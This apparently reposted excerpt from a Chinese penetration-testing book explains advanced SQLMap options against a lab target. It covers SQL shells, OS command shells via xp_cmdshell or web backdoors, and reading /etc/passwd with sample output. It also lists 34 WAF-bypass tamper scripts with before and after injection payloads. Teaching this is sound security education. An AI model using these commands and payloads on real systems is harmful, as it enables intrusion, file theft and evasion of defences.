最新SQLMap进阶技术

news2024/11/25 0:35:56

点击星标,即时接收最新推文

1052aca4903de17fb9de56ba716a4f29.png

本文选自《web安全攻防渗透测试实战指南(第2版)》

五折购买链接:u.jd.com/3ibjeF6

0ca74464f3bcb7a27ecb36d59372485e.gif

SQLMap进阶:参数讲解

(1)--level 5:探测等级。

参数“--level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP Cookie在等级为2时会进行测试,HTTP User-Agent/Referer头在等级为3时会进行测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的等级值。

(2)--is-dba:当前用户是否有管理权限。

该命令用于查看当前账户是否为数据库管理员账户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --is-dba

在本例中输入该命令,会返回True,如图3-15所示。

e15e25f08990abd22185f6ce5c69d931.png 

图3-15  

(3)--roles:查看数据库用户的角色。

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,则输入该命令会列举出每个用户的角色,也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。

f3e489cb6058c409e3c39da107ae5dcf.png 

图3-16  

(4)--referer:HTTP Referer头。

SQLMap可以在请求中伪造HTTP中的Referer,当参数“--level”设定为3或3以上时,会尝试对Referer注入。可以使用参数“--referer”伪造一个HTTP Referer头,如--referer http://10.211.55.6。

(5)--sql-shell:运行自定义SQL语句。

该命令用于执行指定的SQL语句,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --sql-shell

假设执行“select * from security.users limit 0,2”语句,结果如图3-17所示。

14ce43c32692c21ec529571b0105597f.png

图3-17  

(6)--os-cmd或--os-shell:运行任意操作系统命令。

当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,可以使用参数“--os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL,则SQLMap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server,则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用(在Microsoft SQL Server 2005及以上版本中默认被禁用),则SQLMap会重新启用它;如果xp_cmdshell不存在,则SQLMap将创建它。

使用参数“--os-shell”可以模拟一个真实的Shell,与服务器进行交互。当不能执行多语句时(如PHP或ASP的后端数据库为MySQL),SQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门,从而执行命令。参数“--os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。

(7)--file-read:从数据库服务器中读取执行文件。

该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。下面以Microsoft SQL Server 2005为例,说明参数“--file-read”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-read "/etc/passwd" -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] 
[17:45:19] [INFO] the local file '/root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file)

(8)--file-write和--file-dest:将本地文件写入数据库服务器。

该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子说明参数“--file-write”和“--file-dest”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-write "./1.txt"  --file-dest "/tmp/1.txt" -v 1

7aea591dcef12a9b4496a676189a5ebc.gif

SQLMap自带tamper绕过脚本的讲解

为了防止注入语句中出现单引号,SQLMap默认情况下会使用CHAR()函数。除此之外,没有对注入的数据进行其他修改。读者可以通过使用参数“--tamper”对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则,命令如下:

python sqlmap.py XXXXX --tamper "模块名"

目前,官方提供了多个绕过脚本,下面是一个tamper绕过脚本的格式。

# sqlmap/tamper/escapequotes.py




from lib.core.enums import PRIORITY




__priority__ = PRIORITY.LOWEST




def dependencies():
    pass




def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。

(1)priority变量定义脚本的优先级,用于有多个tamper绕过脚本的情况。

(2)dependencies函数声明该脚本适用/不适用的范围,可以为空。

下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,**kwargs)函数接收payload和**kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符,将所有Payload中的字符转换为大写字母。

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()
            if word.upper() in kb.keywords:
                retVal = retVal.replace(word, word.upper())
    return retVal

在日常使用中,我们会对一些网站是否有安全防护进行试探,可以使用参数“--identify-waf”进行检测。

下面介绍一些常用的tamper绕过脚本。

(1)apostrophemask.py。

作用:将引号替换为UTF-8格式,用于过滤单引号。

使用脚本前的语句如下:

1 AND '1'='1

使用脚本后的语句如下:

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

(2)base64encode.py。

作用:将请求参数进行Base64编码。

使用脚本前的语句如下:

1' AND SLEEP(5)#

使用脚本后的语句如下:

MScgQU5EIFNMRUVQKDUpIw==

(3)multiplespaces.py。

作用:在SQL语句的关键字中间添加多个空格。

使用脚本前的语句如下:

1 UNION SELECT foobar

使用脚本后的语句如下:

1   UNION     SELECT   foobar

(4)space2plus.py。

作用:用加号(+)替换空格。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT+id+FROM+users

(5)nonrecursivereplacement.py。

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将“SELECT”替换为空)。

使用脚本前的语句如下:

1 UNION SELECT 2--

使用脚本后的语句如下:

1 UNIOUNIONN SELESELECTCT 2--

(6)space2randomblank.py。

作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%0Did%0DFROM%0Ausers

(7)unionalltounion.py。

作用:将“UNION ALL SELECT”替换为“UNION SELECT”。

使用脚本前的语句如下:

-1 UNION ALL SELECT

使用脚本后的语句如下:

-1 UNION SELECT

(8)securesphere.py。

作用:追加特制的字符串。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1 and '0having'='0having'

(9)space2hash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227

(10)space2mssqlblank.py。

作用:将空格替换为其他空符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下。

SELECT%0Eid%0DFROM%07users

(11)space2mssqlhash.py。

作用:将空格替换为井字号(#),并添加一个换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23%0AAND%23%0A9227=9227

(12)between.py。

作用:用“NOT BETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)。

使用脚本前的语句如下:

1 AND A > B--

使用脚本后的语句如下:

1 AND A NOT BETWEEN 0 AND B--

使用脚本前的语句如下:

1 AND A = B--

使用脚本后的语句如下:

1 AND A BETWEEN B AND B--

(13)percentage.py。

作用:ASP语言允许在每个字符前面添加一个百分号(%)。

使用脚本前的语句如下:

SELECT FIELD FROM TABLE

使用脚本后的语句如下:

%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E

(14)sp_password.py。

作用:将“sp_password”追加到Payload的未尾。

使用脚本前的语句如下:

1 AND 9227=9227--

使用脚本后的语句如下:

1 AND 9227=9227-- sp_password

(15)charencode.py。

作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

(16)randomcase.py。

作用:在SQL语句中,对关键字进行随机大小写转换。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

InsERt

(17)charunicodeencode.py。

作用:对SQL语句进行字符串unicode编码。

使用脚本前的语句如下:

SELECT FIELD%20FROM TABLE

使用脚本后的语句如下:

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

(18)space2comment.py。

作用:将空格替换为“/**/”。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT/**/id/**/FROM/**/users

(19)equaltolike.py。

作用:将等号(=)替换为“like”。

使用脚本前的语句如下:

SELECT * FROM users WHERE id=1

使用脚本后的语句如下:

SELECT * FROM users WHERE id LIKE 1

(20)greatest.py。

作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号。

使用脚本前的语句如下:

1 AND A > B

使用脚本后的语句如下:

1 AND GREATEST(A,B+1)=A

测试通过的数据库类型和版本如下。

— MySQL 4、MySQL 5.0和MySQL 5.5。

— Oracle 10g。

— PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。

(21)ifnull2ifisnull.py。

作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。

使用脚本前的语句如下:

IFNULL(1, 2)

使用脚本后的语句如下:

IF(ISNULL(1),2,1)

该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。

(22)modsecurityversioned.py。

作用:过滤空格,通过MySQL内联注释的方式进行注入。

使用脚本前的语句如下:

1 AND 2>1--

使用脚本后的语句如下:

1 /*!30874AND 2>1*/--

该tamper脚本可在MySQL 5.0数据库中使用。

(23)space2mysqlblank.py。

作用:将空格替换为其他空白符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%A0id%0BFROM%0Cusers

该tamper脚本可在MySQL 5.1数据库中使用。

(24)modsecurityzeroversioned.py。

作用:通过MySQL内联注释的方式(/*!00000*/)进行注入。

使用脚本前的语句如下:

1 AND 2>1--

使用脚本后的语句如下:

1 /*!00000AND 2>1*/--

该tamper脚本可在MySQL 5.0数据库中使用。

(25)space2mysqldash.py。

作用:将空格替换为“--”,并添加一个换行符。

使用脚本前的语句如下。

1 AND 9227=9227

使用脚本后的语句如下。

1--%0AAND--%0A9227=9227

(26)bluecoat.py。

作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号。

使用脚本前的语句如下:

SELECT id FROM users where id = 1

使用脚本后的语句如下:

SELECT%09id FROM%09users WHERE%09id LIKE 1

该tamper脚本可在MySQL 5.1和SGOS数据库中使用。

(27)versionedkeywords.py。

作用:绕过注释。

使用脚本前的语句如下:

UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))#

使用脚本后的语句如下:

/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

(28)halfversionedmorekeywords.py。

作用:当数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本的注释。

使用脚本前的语句如下:

value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

使用脚本后的语句如下:

value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。

(29)space2morehash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227

该tamper脚本可在MySQL 5.1.41数据库中使用。

(30)apostrophenullencode.py。

作用:用非法双字节unicode字符替换单引号。

使用脚本前的语句如下:

1 AND '1'='1

使用脚本后的语句如下:

1 AND %00%271%00%27=%00%271

(31)appendnullbyte.py。

作用:在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1%00

(32)chardoubleencode.py。

作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

(33)unmagicquotes.py。

作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。

使用脚本前的语句如下:

1' AND 1=1

使用脚本后的语句如下:

1%bf%27--

(34)randomcomments.py。

作用:用“/**/”分割SQL关键字。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

IN/**/S/**/ERT

虽然SQLMap自带的tamper绕过脚本可以做很多事情,但实际环境往往比较复杂,tamper绕过脚本无法应对所有情况,因此建议读者在学习如何使用自带的tamper绕过脚本的同时,掌握tamper绕过脚本的编写规则,这样在应对各种实战环境时能更自如。

b8a801f096ec5b344087b87c80cd9519.gif

MS08067安全实验室视频号已上线

欢迎各位同学关注转发~

—  实验室旗下直播培训课程  —

cbfccc1456fa5e5d3899c269a2a38944.png

5f99da91d047851d4fb8dee5d39639e8.jpeg

e065883055e20e3b774a79f95151dd63.jpeg4a0651c9aaf6be7942c8bc770d802f4d.png

c354df9da49265ac9a8e50a4fbc21443.jpeg

e1241f861d23370b65522c31e1e43a4e.jpeg

fb502637b608b2c01cd38d075a1786fa.jpeg

8f0f36105b5010195488eb49c4221e37.jpeg

514b0c36f29d1c8773f09a5d9517c54e.jpeg


和20000+位同学加入MS08067一起学习

12295340e29c5aa4e1b0da539c9bace5.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/856985.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue组件化开发思想;Vue的全局组件;Vue的局部组件;Vue的开发模式和解析;Vue CLI安装和使用;Vue项目的创建方式–Vite

目录 1_Vue组件化开发思想1.1_认识组件化开发1.2_Vue的组件化1.3_注册组件的方式 2_Vue的全局组件3_Vue的局部组件4_Vue的开发模式和解析4.1_Vue的开发模式4.2_单文件的特点4.3_如何支持SFC4.4_VSCode对SFC文件的支持 5_Vue CLI安装和使用5.1_Vue CLI脚手架5.2_Vue CLI 安装和使…

CRM五大功能提高提高销售效率

如今,CRM是企业提高销售效率、转化更多客户的重要工具。市面上有许多CRM管理系统,推荐一款知名的CRM管理系统 1、简单易用 Zoho CRM的用户界面干净简洁,操作简单直观,无需复杂的配置和培训,即使没有IT基础的“小白”…

利用C++nlohmann库解析json文件

json文件示例&#xff1a; 代码运行环境VS2019 一、git下载nlohmann库文件源代码 源代码文件目录 二、利用VS2019新建工程&#xff0c;并配置项目属性 配置VC目录---包含目录 三、项目源代码 #include <iostream> #include <fstream> #include <nlohmann/jso…

Fast Tone Mapping for High Dynamic Range Images

Abstract 我们提出了一种快速、有效、灵活的色调再现方法&#xff0c;在低动态范围再现设备中保留了高动态范围场景的可视性和对比度印象。 一个单一的参数控制能见度和对比度在一个简单和优雅的方式和互动速度。 新方法使用简单&#xff0c;计算效率高。 实验表明&#xff0c…

金融反欺诈的应用实践

“根据980起全球重大金融欺诈事件分析&#xff0c;60%的欺诈发生在移动端&#xff0c;同比增长170%。“&#xff0c;在香港近日举办的金融科技沙龙上&#xff0c;顶象金融业务安全专家史博表示&#xff0c;金融业已成为不法分子重要的攻击对象。 本届金融科技沙龙由Databricks…

面试热题(螺旋矩阵)

给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素 一看到这个大家有没有想到 就是一个螺旋形状&#xff0c;那这道题我们应该怎么解决&#xff1f; 我们先来仔细的看&#xff0c;它这种螺旋形状的遍历是先【右-下-左-上】…

01Mysql创建表

目录 一、题目要求 二、具体操作代码 三、查看结果&#xff1a; 一、题目要求 建立一张表&#xff1a; 表里面有多个字段&#xff0c;每一个字段对应一种数据类型 注意&#xff1a;表名&#xff0c;字段名都要起的有意义 二、具体操作代码 CREATE TABLE DataInfo (id INT …

python爬虫实战(2)--爬取某博热搜数据

1. 准备工作 使用python语言可以快速实现&#xff0c;调用BeautifulSoup包里面的方法 安装BeautifulSoup pip install BeautifulSoup完成以后引入项目 2. 开发 定义url url https://s.微博.com/top/summary?caterealtimehot定义请求头&#xff0c;微博请求数据需要cookie…

Windows 环境下 Python3 离线安装 cryptography 失败

发布Flask Web项目时&#xff0c;报错缺少Cryptography&#xff0c;于是尝试重新安装该库&#xff0c;但本机没有网络&#xff0c;只支持手动离线安装&#xff0c;尝试了pip、setup.py两种方式安装&#xff0c;结果都报错。。最后使用将安装包拷贝至本机(在其他电脑上安装的sit…

java.lang.OutOfMemoryError- unable to create new native thread 问题排查

问题描述 最近连续两天大约凌晨3点&#xff0c;线上服务开始异常&#xff0c;出现OOM报错。且服务所在的物理机只能ping通&#xff0c;但是无法登录。报错信息如下&#xff1a; ERROR 04-12 03:01:43,930 [DefaultQuartzScheduler_Worker-3] JobRunShell[JobRunShell]:211 Jo…

交叉编译驱动和应用出现警告提示错误“cc1:all warnings being treated as errors”解决方法

最近新玩的rk3588的板子,编译驱动时出现了警告提示错误“cc1:all warnings being treated as errors”,导致编译失败,仔细看了一下,就是内部出现了一个警告,一个未使用的变量出现的警告,导致了驱动编译失败,但是如果这样其他驱动会不会也这样,然后就写了一个printk的de…

算法练习--链表相关

文章目录 合并两个有序链表删除排序链表中的重复元素 1删除排序链表中的重复元素 2环形链表1环形链表2相交链表反转链表 合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。 新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&…

怎么改ip地址 如何更改电脑ip地址

在网络世界中&#xff0c;IP地址是一个重要的标识&#xff0c;它被用于识别和定位设备在互联网中的位置。尽管大多数用户在日常生活中不需要更改IP地址&#xff0c;但在某些特定情况下&#xff0c;可能需要进行IP地址的更改。接下来&#xff0c;我们将介绍一些常见的方法来改变…

从零开始学习 Java:简单易懂的入门指南之面向对象(九)

面向对象进阶 前情回顾1.1 如何定义类1.2 如何通过类创建对象1.3 封装1.3.1 封装的步骤1.3.2 封装的步骤实现 1.4 构造方法1.4.1 构造方法的作用1.4.2 构造方法的格式1.4.3 构造方法的应用 1.5 this关键字的作用1.5.1 this关键字的作用1.5.2 this关键字的应用1.5.2.1 用于普通的…

后端开发8.品牌模块

概述 简介 效果图 数据库设计 DROP TABLE IF EXISTS `goods_brand`;CREATE TABLE `goods_brand` ( `goodsBrandId` int(11) NOT NULL AUTO_IN

基于jeecg-boot的nbcio-boot因升级mybatis-plus到3.5.3.1和JSQLParser 到4.6而引起的在线报表配置报错处理

nbcio-boot因为升级mybatis-plus到3.5.3.1和JSQLParser 到4.6&#xff0c;引起的在线报表配置报错。 导致主页显示不出任务东西。 sql语句如下&#xff1a; select DATE_FORMAT(c.days, %Y%m) x, count(num) y from (select DATE_FORMAT(b.DEPLOY_TIME_, %Y-%m-%d) AS days , …

vue2传值方式总结 (十一种方法)

一.父传子传递 &#xff08;1&#xff09;在父组件的子组件标签上绑定一个属性&#xff0c;挂载要传输的变量 &#xff08;2&#xff09;在子组件中通过props来接受数据&#xff0c;props可以是数组也可以是对象&#xff0c;接受的数据可以直接使用 props: [“属性 名”] prop…

golang 自定义exporter - 服务连接数 portConnCount_exporter 导出器

需求&#xff1a; 1、计算当前6379 、3306 服务的连接数 2、可prometheus 语法查询 下面代码可直接使用&#xff1a; 注&#xff1a; 1、windows 与linux的区分 第38行代码 localAddr : fields[1] //windows为fields[1] &#xff0c; linux为fields[3] 2、如需求 增加/修改/删除…

【山河送书第六期】:《码上行动:零基础学会Python编程( ChatGPT版)》参与活动,送书两本!!

《码上行动:零基础学会Python编程( ChatGPT版》 前言内容提要本书亮点购买链接参与方式往期赠书回顾&#xff1a; 前言 在过去的 5 年里&#xff0c;Python 已经 3 次获得 TIOBE 指数年度大奖&#xff0c;这得益于数据科学和人工智能领域的发展&#xff0c;使得 Python 变得异…

Openlayers实战:多数据分散聚合

在飞机、轮船等地图显示的应用中,很多时候会用到数据聚合,Openlayers中提供了Cluster这个API ,他作为souce的一部分,设定distance值,如果2个点的间距小于 distance 所设置的数时,就会以聚合的方式显示。从而解决了数据淤积显示的状态,非常实用。 效果图 源代码 /* * @…